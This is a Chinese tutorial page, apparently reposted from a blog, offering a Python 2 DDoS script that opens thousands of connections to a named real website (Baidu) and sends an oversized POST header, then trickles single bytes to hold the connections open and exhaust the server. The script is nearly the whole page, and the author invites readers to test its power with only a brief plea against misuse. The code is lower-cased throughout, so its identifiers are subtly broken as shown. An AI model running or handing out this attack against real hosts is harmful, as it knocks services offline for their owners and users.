脚本之家,脚本语言编程技术及教程分享平台!
分类导航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服务器之家 - 脚本之家 - Python - python版DDOS攻击脚本

python版DDOS攻击脚本

2021-07-11 00:46一把汤勺 Python

这篇文章主要为大家详细介绍了python版DDOS攻击脚本,具有一定的参考价值,感兴趣的小伙伴们可以参考一下

本文实例为大家分享了python版ddos攻击脚本,供大家参考,具体内容如下

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyddos.py:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
import socket
import time
import threading
#pressure test,ddos tool
#---------------------------
max_conn=20000
port=80
host="www.baidu.com"
page="/index.php"
#---------------------------
 
buf=("post %s http/1.1\r\n"
"host: %s\r\n"
"content-length: 10000000\r\n"
"cookie: dklkt_dos_test\r\n"
"\r\n" % (page,host))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,max_conn):
 s=socket.socket(socket.af_inet,socket.sock_stream)
 try:
 s.connect((host,port))
 s.send(buf)
 print "send buf ok!,conn=%d\n"%i
 socks.append(s)
 except exception,ex:
 print "could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while true:
 for s in socks:
 try:
 s.send("f")
 #print "send ok!"
 except exception,ex:
 print "send exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.thread(target=conn_thread,args=())
send_th=threading.thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

ok,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防ddos攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持服务器之家。

原文链接:https://blog.csdn.net/jeepxiaozi/article/details/8799684

延伸 · 阅读

精彩推荐